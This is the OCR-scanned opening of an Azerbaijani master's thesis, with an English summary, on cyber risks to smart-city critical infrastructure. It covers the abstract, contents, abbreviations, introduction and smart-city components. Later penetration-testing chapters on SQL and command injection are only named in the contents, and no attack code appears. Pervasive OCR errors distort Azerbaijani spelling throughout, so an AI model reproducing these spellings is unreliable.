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XULASO

Isin adi: Agilh sohor miihitinds kritik infrastrukturlarin kibertohliikasizlik
risklori va onlarin gqarsisinin alinmasi metodlari

Bu magistr dissertasiya isindo Agilli soharlorin Kibertshlikasizliyini togkil edon
krtitik infrasturukturlarla bagli masalolor miizakirs olunmusdur. ©sas diqgot Agill
sohordo olan kiber hiicumlara va onlarin qarsisinin alinmasina yetirilir. Isdo qarsiya
qoyulmus bir nego moasalo istigamotinds todqiqatlar aparilmaqla asagidaki naticalorlo

yekunlagmisdir:
>Agill1 sohar konsepsiyasi va arxitektur-texnoloji prinsiplori analiz edilmisdir.
>Kritik infrasturuktur konsepsiyasi analiz edilmisdir.

>Kritik infrastrukturlari shato edon kiber hiicumlar, tohdidlar va bosluglar analiz

edilmisdir.

>Kritik infrastrukturlarin kibertohliikasizlik proplemlorinin halli yollar1 analiz
edilmisdir.

>Niifuzetmo testi ilo bosluglarin askarlanmasi vo kritik molumatlarin oldo

edilmosi hoyata kegirilmisdir.

>Niifuzetmo testlori auditinin noticasine asason todbirlor analiz edilmisdir.



SUMMARY

Title of work: Cyber security risks of critical infrastructures in a smart city
environment and methods of their prevention

In this master's thesis, the issues related to the critical infrastructures that make
up the cyber security of Smart cities were discussed. The main focus is on cyber
attacks in the Smart City and their prevention. Researches were carried out in the

direction of several issues and concluded with the following results:
> Smart city concept and architectural-technological principles were analyzed.
> Critical infrastructure concept was analyzed.
> Cyber attacks, threats and vulnerabilities involving critical infrastructures
have been analyzed.
> Ways to solve cyber security problems of critical infrastructures were
analyzed.
> Detection of gaps and acquisition of critical information was carried out
through penetration testing.

> Actions were analyzed based on the result of penetration tests audit.



MUNDORICAT
GIRIS ..o 8
I FOSIL. AGILLI SOHOR MUHITINDO KRITiK INFRASTRUKTURLARIN
ELMi-NOZORI PROBLEMLORININ ANALIZI ........ccocooviininininiiinn, 11
1.1 Agilli sohor konsepsiyasinin analizi (Homidov Mommad Faiq oglu) .................. 11
1.2. Kritik infrastrukturlarin analizi (Sixsliyev Murad Ramiz oglu)..........cccccveneenee. 21

IT1 FOSIL. AGILLI SOHOR MUHITINDO KRITiK INFRASTRUKTURLARIN
KIBERTOHLUKOSIZLIK PROPLEMLORI VO HOLLI YOLLARI.............. 31

2.1. Kritik infrastrukturlar: ohato edon kiber hiicumlar, tohdidler vo bosluglar
(Rosidova Ayglin RUSLOM Q1Z1) ...vvveeiiiiiiiiiieiiiieessiis et 31

2.2 Kiritik infrastrukturlarin kibertohliikasizlik proplemlarinin halli yollar
(Mommoadova Aiso Hamlet qIZ1) .....cccvviiiiiiiiiiiiiii e 48

111 FOSIL. NUFUZETMO TESTIi ILO BOSLUQLARIN ASKARLANMASI VO
KRITIK MOLUMATLARIN 9LDO EDILM®OSI (ibrahimova Aytac Viigar qiz1)

..................................................................................................................................... 75
3.1 Zaif tosdiqlonmis giris panelind SQL INYeKSiya .........ccoeeveevveeieieieiseeeeeeseeenans 76
3.2 Komanda inyeksiyadan istifado edorak sistemdo seans alda edilmasi ................. 86
3.3 Niifuzetma testlori auditinin noticasing asason tadbirlor.........ccccvvvviiiiiiiiiennennn 96
NOTICD ...t 98

ISTIFADO OLUNMUS ODOBIYYAT SIYAHISI..........cooovieeeeeieeeeeeeeen 99



IXTISARLARIN SiYAHISI
1. Xidmot kimi program tominati (SaaS, Software as a service)

. Xidmot kimi infrastruktur (IaaS, Infrastructure as a Service)

. SCADA, Supervisory Control and Data Acquisition

2
3
4. Niivo Tonzimlomo Komissiyasi (NRC, Nuclear Regulatory Commission)
5. Daxili Tohliikosizlik Departamenti (DTD)

6. Qapali Dovriyys Televiziyast (CCTV, Closed-Circuit Television)

7. Mobil Rabito {i¢iin Qlobal Sistem (GSM, Global System for Mobile
Communications)

8. Kapilyar tozyiq sensoru sistemi (CPSS, Capillary pressure sensor system)

9. Xromatoqgrafiya Molumat Sistemi (CDS, Chromatography Data System)
10.Uzun miiddatli tokamiil (4G LTE, Long Term Evolution)

11.Kod Bolmasi Coxlu Giris (CDMA, Code Division Multiple Access)
12.Yaxin Saho Rabitasi (NFC, Near Field Communication)

13.A¢1q simsiz standart (ZigBee)

14.Simsiz rabito (Z-Wave)

15.Kritik Infrastruktur va Tahliikasizlik Agentliyi (CISA, Critical Infrastructure
and Security Agency)

16.Cox faktorlu autentifikasiyanin (MFA, Multi-factor authentication)

17.Yeni nosil tohliikesizlik duvarlar1 (NGFV, New generation firewalls)
18.Beynelxalq Marsrut seriyasi (USB, Universal Serial Bus)

19.Check Point Enterprise Security Framework (CESF)

20. Tok faktorlu autentifikasiya (SFA, Single-factor authentication,)iki
faktorlu identifikasiya (2FA, two-factor authentication)

21. uc faktorlu identifikasiya (3FA, three-factor authentication)

22 .Kiber-Fiziki Sistemlordon (CPS- Cyber-Physical Security)

23.Informasiya Texnologiyalar1 Infrastruktur Kitabxanasi (ITIL , he Information

Technology Infrastructure Library )


https://en.wikipedia.org/wiki/Software_as_a_service

24.Tohliikesizlik vo hadiso molumat idaraetma sistemlori (SIEM, Security and
event information management systems)

25.Radio Tezliyi Eynilosdirma (RFID, Radio Frequency Identification)

26. Kommunikasiya texnologiyalarmim (IKT, communication technologies)
27. Osyalarin Interneti (IoT, Internet of Things)

28. Xidmat olaraq platforma (PaaS, Platform as a service)



GIRIS

Moévzunun aktualli@i. Son onillikde ssharlorin miixtalif problemlorinin holli
ticlin toklif olunan yeni istiqgamotlordon biri do agilli sohor konsepsiyasidir. Agilli sohor
miiasir texnologiyalardan istifado edon, yeniliklori totbiq edon vo yiiksok hoyat
keyfiyyati toklif edon bir konsepsiya kimi togdim edilir. Bununla belo, informasiya vo
kommunikasiya texnologiyalarinin (IKT), Osyalarin internetinin nagliyyat, enerji, su
sistemlari va s. kimi kritik infrastrukturlara inteqrasiyasi kibertohliikasizlik baximindan
ohomiyyatli problemlor yaradir. Kritik infrastrukturlar comiyyat {li¢lin xiisusilo vacib
hesab edilon, dovlotin hoayati gabiliyystini tomin edon on miihiim, miistasna
ohomiyyatli, strateji toyinatli infrastrukturlardir. Tobii vo ya siini tosirlor naticosindo
foaliyyatlorinda ciddi risklorls tizlogon kritik infrastrukturlar comiyyatin sabitliyi, idaro
edilmosi vo miidafia qabiliyyati tigiin boylik tohliiko manbayi ola bilarlor.

Fiziki sistemlorin kiber mokanla miisahido olunan inteqrasiyasi onlarin miixtolif
toyinatl kiber-fiziki sistemlora ¢evrilmosino sobab oldusa da digar torafdon kiber-fiziki
sistemlorin yaratdigi ifrastrukturunun kiber tohdidlordon vo ya kiber hucumlardan
qorunmasi {i¢iin effektiv hollorin yaradilmasi zoruratini ortaya ¢ixartdi. Meydana ¢ixan
risklor qarsisinda kritik infrastrukturlar tigiin fasilasiz va dayaniglh faaliyyastinin tomin
olunmas: xiisusila vacibdir.

Kritik informasiya infrastrukturunun tohliikasizliyinin tomin edilmasi sahasinda
bazi tadbirlor hagqinda Azorbaycan Respublikasi Prezidentinin 2021-ci il 17 aprel
tarixli 1315 nomrali formaninda geyd olundugu kimi Azarbaycan Respublikasinda da
informasiya texnologiyalar1 osasinda dovlost ohomiyyatli mosalolorin halli {igiin
miivafiq informasiya infrastrukturu yaradilmaqdadir. Homin infrastrukturun internet
sobokasino daxil edilmasi infrastruktur obyektlorinin kiberhiicumlarin hadafing
cevrilmasina sobab olur. Yaradilan kritik informasiya infrastrukturuna daxil olan
sistem va sabokalarin siradan ¢ixarilmasi v ya funksionalliginin pozulmasi ciddi ziyan
vurulmast ilo noticolonir ki, bu da kritik informasiya infrastrukturunun
kibertohliikasizliyino prioritet mosolo kimi baxilmasmi zoruri edir (eqanun (2021).

Kritik informasiya infrastrukturunun tohliikasizliyinin tomin edilmasi sahasinda bazi
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todbirlor haqqinda). Bu sobobdon agilli sohor miihitindo kritik infrastrukturlarin
kibertohliikasizlik problemlorinin  miioyyonlosdirilmasi, onlara qarst miibarizo
tisullarmin islonmasi hazirda on aktual masalalardon biridir.

Tadgiqatin magsadi va vazifolori. Todqigatin mogsadi agilli sohor miihitindo
kritik infrastrukturlarin  kibertohliikosizlik risklorinin arasdirilmasi, bosluglarin
miuoyyaonlosdirilmosi vo kiber risklorin azaldilmasi vo kibertohliikolordon qorumaq
tictin effektiv hollor toklif etmokdir. Bu mogsodo nail olmaq {i¢iin garsiya asagidaki

mosalolor qgoyulmusdur:
- Agill1 sohar konsepsiyasinin arxitektur-texnoloji prinsiplorinin arasdirilmast;
- Kritik hesab olunan infrastrukturlarinin analizi;
- Kritik infrastrukturlar1 ohato edon hiicumlarin, tohdidlorin vo bosluglarin analizi;

- Kritik infrastrukturlara olunan kibertohlikoalorin hoalli mexanizmlorinin

1slonmosi;
- Niifuzetmo testi ilo bosluglarin agskarlanmasi;
- Komand inyeksiyadan istifads edarok sistemds seans alds edilmasi;

- Niifuzetmo testlori auditino asason todbirlor.

Tadqigatin predmeti va obyekti. Todqiqat obyekti kimi agilli gohor miihitindo
kritik infrastrukturlarin kibertohliikasizlik problemlarinin halli gétiiriilmiisdiir, tadqiqat
metodu SQL inyeksiya, kommanda inyeksiya kod yeritmo texnikasindan istifads
olunmusdur.

Tadqigatin elmi yeniliyi vo pratiki ohomiyyati. Bu dissertasiya isi kritik
infrastrukturlarda informasiya tohliikosizliyinin yaxsilasdirilmasinda istifado edilo
bilor.

Dissertasiya isinin strukturu v hacmi.

Dissertasiya isi giris, 3 fosil, natico vo 56 adobiyyat monboyindon ibarst olmagla

103 sohifoda toskil olunmusdur. isdo 45 sokil yer almisdir.
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Birinci fosildo agilli sohor konsepsiyasi arasdirilmis, komponentlori vo arxitektur-
texnoloji prinsiplori miioyyonlosdirilmisdir. Agilli sohor miihitindo olan kritik
infrastrukturlar tohlil olunmusdur.

Ikinci fasildo kritik infrastrukturlar ohato edon miimkiin hiicum ssenarilori vo
tohdidlori analiz olunmusdur. Kritik infrastrukturlarin bosluqlar gostorilmisdir. Kritik
infrastrukturlara olan hiicumlarin, tohdidlorin garsisinin alinmasi tigiin todbirlor,
mexanizmlor iglonmisdir.

Ucgiincii fosildo laboratoriya miihitinde niifuzetms testlori ilo kritik informasiya
strukturunda miixtolif konfidensial molumatlarin slds edilmasi islonmisdir. Komanda
inyeksiyadan istifado edorok sistemds seans oldo edilmasi omoliyyati hoyata
kecirilmisdir. Niifuzetmos testlori auditinin noticosino asason goriilocok todbirlor
gostarilmisdir.

Dissertasiyada qrup uizvlarinin tohfalari:

Dissertasiya isinin birinci fosli imumi olaraq, agilli sohor konsepsiyasinin
arasdirilmasindan vo agilli sohor miihitindo olan kritik infrastrukturlarin tohlilindon
ibaratdir. S. Murad, H. Mommad torafindon yazilmisdir.

Dissertasiya isinin ikinci fasli kritik infrastrukturlari shats edon miimkiin hiicum
ssenarilorindon, tohdidlorlordon vo bosluglardan vo onlarin qarsisinin  alinmasi

mexanizmlorindon ibarstdir. R. Aygiin, M. Aiss torofindon yazilmisdir.

Dissertasiya isinin tiglincii fosli resurs va praktiki islorin aparilmasindan ibaratdir.

I. Aytac torofindon yazilmisdir.
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I FOSIL. AGILLI SOHOR MUHITINDO KRITiK INFRASTRUKTURLARIN
ELMI-NOZORI PROBLEMLORININ ANALIZI

1.1 Agillh sohar konsepsiyasimin analizi

Sohoarlor biitiin diinyada sosial vo iqtisadi aspektlordo osas rol oynayir vo otraf
miihito boyiik tosir gostorir. Birlosmis Millotlor Toskilatinin Iqtisadi vo Sosial
Mosaloalor Departamentinin (ing. Department of Economic and Social Affairs of the
United Nations, DESAP) 2018-ci ildo apardig1 arasdirmalarin naticalorine géra 1950-
ci illordo diinya ohalisinin toxminan 30%-i sohar yerlorindo yasayirdi. 2008-ci il
insanlarin 50 faizindon ¢oxunun, 3,3 milyardinin sahorlords yasadigi il olub, 2050-ci
ilo gador bu ragomin 70 faizs yliksalocoyi gozlonilir (Rosa Maria Dangelico (2015)).
Qlobal fenomen kimi gohar yerlorinin shomiyyati Asiya, Latin Amerikasi vo Afrikada
20 milyondan ¢ox insanin meqapolislaorin yayilmasi ila tasdiglonir. Natica etibari ila,
indiki vaxtda resurslarin ¢oxu diinya miqyasinda soharlords istehlak olunur ki, bu da
onlarin iqtisadi ohomiyyatine, eyni zamanda onlarin ekoloji cohotdon zoif
performansina sabab olur. Bununla bels, sohar sixlig1 no qadar asagi olarsa, elektrik
enerjisi vo naqliyyat liclin bir o qador cox enerji sorf olunur, bunu sohar yerlorindo
sixligin artmasi ilo adambasina CO2 emissiyalarinin azalmasi fakti stibut edir.

Soharlor boyiidilkco vo genislondikco omoliyyat somarsliliyini artirmaq vo
idaraetmo xorclorini azaltmaq tiglin agilli vo yeni hallor vacibdir. Movcud maliyyo
bohrani soharlarin dovlat tarafindon maliyyslasdirilmasini kaskin sokilds azaldib va bu
da, votondaglarin hoyat keyfiyyotinin yaxsilasdirilmasina manes  toradir.
Miitoxassislorin  fikrinco “Urbanizasiyanin qarsisim almaq miimkiin olmayacaq.
Insanlarin soharo axini homisa oldugu kimi davam edacok. Ona goro do hoyat torzini
rahatlagdirmaq lazimdir. Belo vaziyyatds isa yegana ¢ixis yolu “agilli soharlor” ola
bilor (Badis Hammi1 Rida Khatoun 2018).

Agilli sohar, omaliyyat somaraliliyini artirmaq, malumati ictimaiyyatlo boliismak
vo hom dovlat xidmatlorinin keyfiyyatini, hom do votondaslarin rifahin1 yaxsilagdirmaq
licin informasiya vo kommunikasiya texnologiyalarindan istifado edon bir

konsepsiyadir.
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Avropa Komissiyasia istinadon agilli sohorin ohato dairosi asagidakilardir
(Sharon Shea (2020). Smart City):

- Agill1 sohar naqliyyat sabokalori

- Yenilonmis su tochizati vo su israfini1 tomizlomo obyektlori

- Binalarin is1glandirilmasi va isidilmasi {i¢iin daha effektiv yollar

- Daha interaktiv vo hossas sohar idaroetmosi

- Daha tohliikosiz ictimai sahalor

Daqiq torifi forqli olsa da, agilli sohorin osas missiyast agilli texnologiya va
molumatlarin  tohlilindon istifado edorok votondaslarimin  hoyat keyfiyystini
yaxsilagdirmaqla sohor funksiyalarin1 optimallasdirmaq vo iqtisadi artimi tomin
etmokdir. Agilli sohara doyar, no godoar texnologiyaya sahib ola bilacayina deyil,
texnologiya ilo no etmayi se¢diyino goro verilir.

Son iki onillikde “agilli sohar” anlayisi elmi adobiyyatda vo beynoslxalq siyasotdo
getdikco populyarlasir. Bu konsepsiyani basa diismok ti¢iin sohorlorin niys golocok
liclin osas elementlor hesab edildiyini anlamaq vacibdir (Rosa Maria Dangelico
(2015)).

Agilli gohorlor hoyat keyfiyyatini yaxsilasdirmaq vo iqtisadi artima nail olmaq
liclin Ozlorine qosulmus osyalarin interneti cihazlari vo digor texnologiyalar
sobokosindon istifado edirlor. Ugurlu agilli sohorlor asagidaki dord meorhoalodon
ibaratdir (twi-global (2024).What is a smart cimty? - Definitions and examples):

- Kolleksiya - Sahor boyu agilli sensorlar real vaxt rejimindo molumat toplayir.

- Tohlil - Agill1 sensorlar torofindon toplanan verilonlor faydali molumatlar alds

etmak liclin qiymatlondirilir.

- Unsiyyot - Tohlil marholosindo askar edilmis molumatlar giiclii kommunikasiya

sabokaloari vasitasilo qorar gobul edon soxslora catdirilir.

- Foaliyyot - Sohorlor hollor yaratmaq, omsliyyatlari vo aktivlorin idars edilmasini

optimallagdirmaq vo sakinlor {i¢lin hoyat keyfiyyatini yaxsilagdirmaq {iciin

molumatlardan istifado edir.

Yerli hokumatlor iiglin mithiim mogsad agilli gohar ¢or¢ivasinin effektiv totbigino

nail olmaqdir. Bu konsepsiya nisbaton yenidir vo bu mdévzuda golocok tadqiqatlara



13

maraq ohomiyyatlidir, ¢linki son malumatlar gostorir ki, 2050-ci ildo diinya tizre hor on
votondasdan yeddisi soharlords yasayacaq (Y. Han, Z. Wang, and Q. Ruan 2018).

Avropa Komissiyasinin molumatina goro, “agilli sohor” movcud sabokoalori vo
xidmotlori tokmillosdirmok {i¢iin rogomsal texnologiyalardan istifado edorok hom
sakinloro, hom do bizneso fayda gotirir. Effektiv resurslarin idars edilmasi vo
cirklonmonin azaldilmasindan basqa, agilli sohor miixtolif aspektlori ohato edir.
Bunlara tokmillogdirilmis su paylayici vo zibil toplama avadanligi, qabaqcil sohor
noqliyyat sistemlori, eloco do ticarot vo yasayis yerlorindo is1q yaratmaq vo istiliyi
saxlamagq licilin daha yaxs1 enerjiya gonaot edon hollor daxildir. Bundan olava, bu,
getdikca diggotli vo interaktiv olan bir boaladiyyanin inkisafini, kommunal mokanlarda
ictimai tohliikesizliyin giiclondirilmasini vo qocalmaqda olan vatondaslarin inkisaf
edon ehtiyaclarin1 6domoyi nazaords tutur.

Agilli sohar ideyasini birlogdirmak tigiin alt1 asas saha yaradilmisdir. Agilli olmaq
istoyan gohorlor bu sahoalora digqgat yetirmoli, onlart inkisaf etdirmoli vo asas soboko
faaliyyatlort kimi istifado etmalidirlor. Miisllif bu asas sahslori inteqrasiya olunmus
saholor kimi gostorir. Bozi komponentlor votondaslar liclin digorlorindon daha vacibdir,
agilli sohorlords yasayan insanlar Smart Mobility vo Infrastruktur ilo daha gox
maraqlanirlar. Agilli Miihit vo Agill Idaroetmo votondaslar iiciin orta doracoda

aktualdir. Agill1 sohor statusu almaq ¢oxsaxali bir prosesdir.

Agill sohar komponentlori
Agilli soharin alt1 asas komponenti asagidakilardir (Y. Han, Z. Wang, and Q. Ruan
2018):
1. Agill Iqtisadiyyat. Coxsayli todgigatlar bu anlayisin vahid torifinin
olmadigimi vo miixtalif sorhlorin movecud oldugunu gostormisdir. Miislliflor
bildirirlor ki, o, yeni konsepsiyalar hazirlayan vo resurslarin optimallagdirilmasi
anlayisindan istifado edorok qiymot-keyfiyyot nisbatini yiiksoldon agilh
bizneslordon ibarotdir, lakin bu tosvir Agilli Igtisadiyyat komponentinin biitiin
forglondirici xiisusiyyatlorini ohato etmir (Musa, S., 2021). Buna goro, bu anlay1s

e-biznes vo e-ticarot, eloco do iqtisadi potensiala aiddir. Agilli Iqtisadiyyat



14

“innovasiya, mohsuldarliq, sahibkarliq vo ¢evik omok bazari”nin noticosi kimi
iqtisadi inkisaf vo rogabat qabiliyyati ilo baglidir. Digar tasir, resurs vo xarclora
gonaata gotirib ¢ixaran amaliyyatlarin saxlanmasi ila bagl ¢atinliklorin halli tigiin
innovativ yanasmalar hazirlamaq {i¢iin bir sira iqtisadi imkanlar toklif edon ¢evik
omok bazaridir (Musa, S., 2021). (Schneider, L., 2020) sirkotin omoaliyyatlar
daxilindo  informasiya vo kommunikasiya texnologiyalarimin  (IKT)
monimsonilmoasi, bizneslordo innovativ omoliyyatlar vo innovativ texnologiya
sektorlarinin hamisinin "agilli iqtisadiyyat" termininin na demok oldugunun
niimunslari oldugunu vurgulayir. Maqgals (Ristvej, J., Lacindk, M. and Ondrejka,
R., 2020) bildirir ki, davamli tocriibalori, resurs somarsliliyini vo azaldilmis
karbon emissiyalarini, virtual vo genislonmis realliq texnologiyalarini, innovativ
istehsal texnologiyalarini, siini intellektin totbiqini, intellektual infrastruktur vo
enerji sistemlorini vurgulayan iqtisadi modellorin istifadasi, sonayelorin
rogomsallagsmasi vo akademiya ilo sonaye arasinda omokdasliq torofdasligi
igtisadiyyatin agilli tobogosino tohfo verir”. Digor todqiqatcilarin fikrinco,
komponent osason beynolxalq iqtisadi sistemlorlo alage vo oslago prosesindon
tosirlonir, sohara qlobal ticarat, investisiya vo mal vo xidmot miibadilosindo istirak
etmoys imkan verir. qlobal bazarlarla inteqrasiya. Bu aspekt sohorin diger
regionlarla roqabaot gabiliyyatini yaxsilasdira vo biznes investisiyalarini calb edo,
innovasiyalar togviq edo vo mosgulluq imkanlar1 yarada bilor. Bundan olava,
boladiyyanin miixtalif yerlordon turistlori vo sayahatcilori, ticarsti, pul vasaitlorini
va istedadli soxslori calb etmak gabiliyyati igtisadiyyatin iimumi artimina kémok
edir. Bununla bels, adobiyyatdan alds edilon molumatlar gostorir ki, iqtisadi
toroqqi tez-tez resurslarin tilkkonmosi ilo baglidir. Noticods agilli soharlor tobii
resurslari idaro etmolidirlor.

2. Agilh Hokumot / idarsetma. Agilli hokumot qanunvericilore se¢im etmok
vo planlar yaratmaqda kémok etmok ii¢iin IKT-ni inteqrasiya edir. O, ddvlot
xidmotlorinin  neco  bdliisdiriildiiylinii  doyisdirmoyi vo  Oziiniliidaroetma
prosedurlarini tokmillagdirmayi talab edir. Bundan slava, o, elektron demokratiya

va ya elektron hokumat kimi informasiya vo kommunikasiya texnologiyalarinin
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inkisafindan istifado edorok daha yiiksok somoralilik vo davamli inkisaf {iclin
ictimaiyyatin rohborliyina vo xidmaotlorine diqqet yetirir. Agilli idarogilik
baximindan bir ¢ox sohorlor torofindon effektiv sokilds totbiq edilon bir hall toklif
edir: biitlin dovlot xidmotlorinin votondaslara bu xidmotlordon istifado etmoyo
komok edon vahid rogomsal platformaya inteqrasiyasi kimi digor todqiqatcilar
bildirirlor ki, agilli hokumaot soffaf idaroetmo, yiiksok keyfiyyotli xidmaotlor vo
mivafiq molumatlara asan ¢ixisla xarakterizo olunur.  Xidmotlorin
yaxsilagdirilmasi ii¢lin biirokratik yollar azaldilmali, iki istiqgamatli tomaslar daha
tosirli olmali, ziyaratgilorin tolob vo istiinliiklori do nozoro alinmahlidir. E-
Demokratiya agilli gohorlordo biitiin votondaglar {iclin inkisaf naticalorini
yaxsilasdirmagq tigiin istifado olunur. Agilli sohor administrasiyasi ictimaiyyatin
colb olunmasinin yeni formalar1 vasitasilo rogomsal inkliizivliyin tomin edilmasi
kimi mihim sosial-igtisadi problemlarin hollini tolob edir. Rogomsal asrdo belo,
no ev, nd do is yeri olmayan fiziki “ligiincii yerlor” bilik miibadilesini vo yeni
bacariglarin inkisafi tigiin vacibdir. Verilonlor bazalarina birbasa ¢ixis toklif edon,
rogomsal totbiglori inkisaf etdiran, inteqrasiya edon vo togviq edon yerli idaralor
ictimaiyyoto molumat vo xidmotlorin operativ vo somorali togdim edilmasini
tomin etmok tigiin diizgiin addimlar atir. Har bir baladiyyanin asas magsadlorindon
biri gohor idaroetmosinin somorsliliyinin artirilmasidir. Bir ¢ox sohorlor agilh
hokumot hollorinin inteqrasiyasi ilo bu aspekti yaxsilasdirdilar.

3. Agilh Vatondas / insanlar. Agilli votondaslar vo ya insanlar agilli sohorlorin
inkisafinda vo davamliliginda holledici rol oynayir. Onlar hoyat keyfiyystini
yaxsilasdirmaq, icma foaliyyatlorinds istirak etmok vo soharin limumi toraqqisine
tohfo vermok tigiin texnologiyadan istifado edirlor. Agilli votondaslar
texnologiyanin vo davamli tocriibolorin monimsonilmosinoe tokan veron,
idaracilikdo istirak edon vo alagoli icmani inkisaf etdirorok agilli sohorin onurga
siitunudur. Ragomsal texnologiyalarin inteqrasiyasi prosesi sakinlora vo digor
maraqli  torofloro osas sohor problemlorinin  vo  miimkiin  hollorin
formalasdirilmasinda istirak etmok {liciin yeni alotlor toqdim edir. Rogomsal

texnologiyalar biitlin saviyyalords ictimaiyyatin istirakini artirmaq potensialina
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malikdir. Sakinloro dstiinlik veron agilli sohorlor buna goro do sosial
transformasiya vo davamliliq iiglin alot kimi ¢ixis edo bilor. Agilli sohorin
planlagdirilmast vo inkisafi votondaslarin hayat keyfiyystini onlarin ndqteyi-
nozorindon nozoro almali, soxsi vo ailo ev soviyyali molumatlarla bagh moxfilik
problemino xiisusi diqgot yetirmolidir. Biitliin bu elementlor diqgotlo nozordon
kegirilmoali vo hoyata kegirilmoalidir, ¢linki insanlar innovativ texnologiyalar totbiq
edildikdo ehtiyatli ola vo ya onlara manes térado bilor.

4. Agilh infrastruktur / Mobillik / Nagliyyat.

Agilli sohar gorgivasinin asas tomal daslar1 arasinda biz Smart Mobility-ni gostora
bilorik. O, sohar nogliyyatinin yaxsilagsdirilmasina yonoalib. Mobillik
kommunikasiya vo informasiya sahasindo dastokloyici texnoloji nailiyyatlordon
istifado edon votondaslar iigiin yeni se¢imlor togdim etmoklo optimallasdirila
bilor. Sohorin rogomsallasmasinin asas komponentlori, o ciimlodon Osyalarin
Interneti vo informasiya vo kommunikasiya texnologiyalari, innovativ Trafik
Idaroetmo Sistemlori vo Sohor Trafikino Nozarot sistemlorindon faydalanmagq
liclin tadqiq edilir vo eyni zamanda, onlarin asas mogsadini saxlamagla, 6tlirmo
qabiliyyatini maksimuma catdirmaq vo yiiksok keyfiyyatli xidmot tomin
etmokdir. Yol horoketinin idars edilmasi gqaydalarina uygun olaraq, bu rogomsal
xidmatlor nogliyyatin somoraliliyini artirir vo sohor naqgliyyat infrastrukturuna
miisbot tosir gostarir. Notico etibarilo, sohorlor rogomsallasdirilmis vo bir-biri ilo
olagoli naqliyyat sisteminin inkisaf etdirilmasi vasitosi kimi mobilliyi
tokmillogdirmok {iclin informasiya vo kommunikasiya texnologiyalarindan
istifada etmoalidirlor. Agilli ssharlar intellektual sistemlar, ayrilmis zolaglar, agill
parking, velosiped paylasma stansiyalar1 va ala internet baglantis1 daxil olmagla
davamli ictimai noqliyyat alternativini inkisaf etdirorok votondaslari sohorin
morkozindo avtomobillordon istifadoni minimuma endirmoys tosviq edir. Bu
bolodiyyolorin mobillik planlar1 on son yeniliklori birlogsdirmalidir, ¢iinki
resurslarin qorunmasi vo otraf miihito asagi tosir bu miasir texnologiyalarin

gobulu ilo hall edils bilar.
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5. Agilh Hoayat / Yasayis / Tohliikasizlik vo Saglamhq. Bu komponent
votondaglarin hoyat keyfiyyotinin bir ¢cox elementlorini 6ziindo birlosdirir vo
onlarin evlarini, mahsllalarini, is yerlorini, enerji va naqliyyat sistemlorini ekoloji
cohotdon tomiz miihito ¢evirmoklo onu yaxsilagdirmaga nail olur. Agilli hoyat
fordlorin comiyyeatin va texnoloji toraqqinin onlarin Ustlinliiklori iiclin neca
qarsiligh olagodo oldugunu basa diigmolorini artirir. Notico olaraq, agilli hoyat
monal1 vo sevincli bir varliga tohfo veron aspektlori monimsomokdon ibarotdir.
Moveud madoni sorait, yagayis soraiti, tohsil miiassisalori, turizm vo comiyyatdoki
birlik agilli hoyatin gostoricilori hesab olunur. Votondaslar daha agilli hoyat torzi
qurmagq ugiin texnologiyadan istifads edirlor. Hor sey qadcetlorls olagslondirilir
va bir ¢ox islari asanlasdirir, daha tohliikesiz va daha ucuz edir. Son illards istehsal
olunan yaradici hollor insanlarin hoyatini daha somoroli vo otraf miihito
uygunlasdirmaq ti¢iin nazords tutulmusdur. Son illordo daha ¢ox rast golinmayo
baslayan basqa bir konsepsiya, sakinlorin hayatina osaslanan, fordi alig-veriso vo
digor giindalik isloro komok edon agilli binalardir. Saglamliq perspektivineg
goalince, pandemiya zamani agilli texnologiyalardan istifads votondaslara miisbat
tosir gostormis, onlarin saglamliglarina nozarat etmoya, hom ails, hom do tibb
is¢ilori 1lo olage saxlamaga komok etmis, onlara miistoqillik, miidafia vo
tohliikosizlik hissi boxs etmisdir. Tobii folakotloro vo insanlarin yaratdigi
problemlors maliyyo vo ekoloji cohotdon davamli olan agilli icmalarin
yaradilmasina daha c¢ox maraq gostorilib. COVID-19, agilli soharlords
davamlilig1 tomin etmok ti¢iin giiclondirici kimi goériinilir. Sohiyyo miitoxassislori
torafindon toqdim edildiyi kimi, agilli saglamliq va teletibbden istifads etmakla
xostolori daha effektiv miialico eds, xastoliklorin bas vermosinin qarsisini ala vo
onlarin hallarin1 minimuma endira bilor. Bundan olave, agilli saglamliq
genislonon yasli ohali {iclin sohiyyo xorclorini azaldir. Agilli texnologiyadan
somarali istifads yaglilara giindslik hayata inteqrasiya etmays vo praktik vo rahat
texnoloji cohatdon inkisaf etmis hoyata c¢ixis aldo etmoyo imkan verso do, onlar
yeni texnologiyanin isiginda 6zlorini aciz hiss edo bilorlor. Yuxarida gostorilon

masalo hoyati ohomiyyat kosb edir vo yerli hékumatlor onu hall etmaya
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baslamalidirlar, ¢iinki qocalmis ohaliyo hosr olunmus coxlu xidmotlor yoxdur.
Boazi hallar ehtiyact olan yash votondaslar1 agilli avadanliqlarla tomin edon geyri-
hokumat toskilatlar: ilo torofdasliq, hamginin yaghlari texnologiya vo elektron
hokumatlo tanis etmok {iciin xiisusi proqramlar vasitasilo toqdim edilo bilor.

6. Agillh Miihit / Davamlihq. Bu komponent tabii ehtiyatlarin, masalon, su,

torpaq vo ya tomiz havanin qorunmasina aiddir. Bu, tobii ehtiyatlardan daha
ekoloji cohotdon somorsali istifadoni, tobii yasayis miihitinin qorunmasini,
cirklonmonin azaldilmasini va resurslarin daha davamli sokilds idars olunmasini
nozords tutur. Iyirmi birinci osrdo diqqet davamliligin qiymotlondirilmosindon
agill sohor moagsadlaring kegdi. Sshar davamliligi modellarindon forqli olaraq,
agilli sohor konsepsiyalart miiasir texnologiyaya vo zokaya daha c¢ox diqqgot
yetirir. Insanlar agilli sohor ideyasima istinad edorken adaton sohorlordoki yasil
saholor va parklari otraf miihitls alagolondirirlor. Bunlar, siibhasiz ki, holledicidir,
lakin biitiin sistemi togkil etmir. Yasil vo ya boz otraf miihit, insanlarin onunla
ugurla garsiligli alagads olmasina imkan veracok agilli texnologiya ila inteqrasiya
edilocakdir. Bu agilli texnologiya sensorlarla tochiz edilmis vo giinos enerjisi ilo
isloyon obyektlori birlosdirorok bolodiyyslors tullantilarin idaro edilmesindo
komak eda bilar. Hava keyfiyyatina nozarat va agilli isiglandirma texnologiyadan
istifadonin otraf miihito monfi tosirlori azaltmaga imkan veran digor iki sahadir.
Davamliligi yaxsilasdirmaq ti¢lin agilli sohor su monbolori, kanalizasiya
sistemlori vo yasil orazilor kimi ekoloji infrastrukturlara miiraciot etmalidir.
Bundan olava, o, barpa olunan enerji monbalarindon istifadoys yonoldilmalidir.
Oz todqiqatlarmi Birlogsmis Millotlor Toskilatinin 2030-cu il ii¢iin Dayanigl
